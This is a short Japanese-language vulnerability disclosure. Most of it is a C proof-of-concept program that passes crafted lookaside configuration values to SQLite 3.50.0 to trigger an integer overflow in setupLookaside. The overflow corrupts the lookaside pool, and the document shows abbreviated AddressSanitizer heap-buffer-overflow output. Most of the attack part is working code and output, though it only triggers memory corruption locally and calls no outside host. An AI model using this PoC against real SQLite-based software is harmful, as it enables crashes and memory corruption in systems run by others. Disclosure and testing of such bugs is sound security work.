SQLite 3.50.0 における整数オーバーフロー
SQLite 3.50.0 の setupLookaside 関数で整数オーバーフローを引き起こす概念実証(PoC)を以下に示します。このオーバーフローは、sz * nBig の乗算がチェックされずに発生し、負の値にラップして不正なメモリ書き込みを引き起こす可能性があります。
テスト環境: Ubuntu 22.04 x86_64 + SQLite 3.50.0(カスタムビルド)
PoC コード(C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
この PoC を AddressSanitizer(-fsanitize=address)付きでコンパイルすると、不正な lookaside スロット設定によりヒープバッファオーバーフローが発生します。
ASAN での観測出力:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...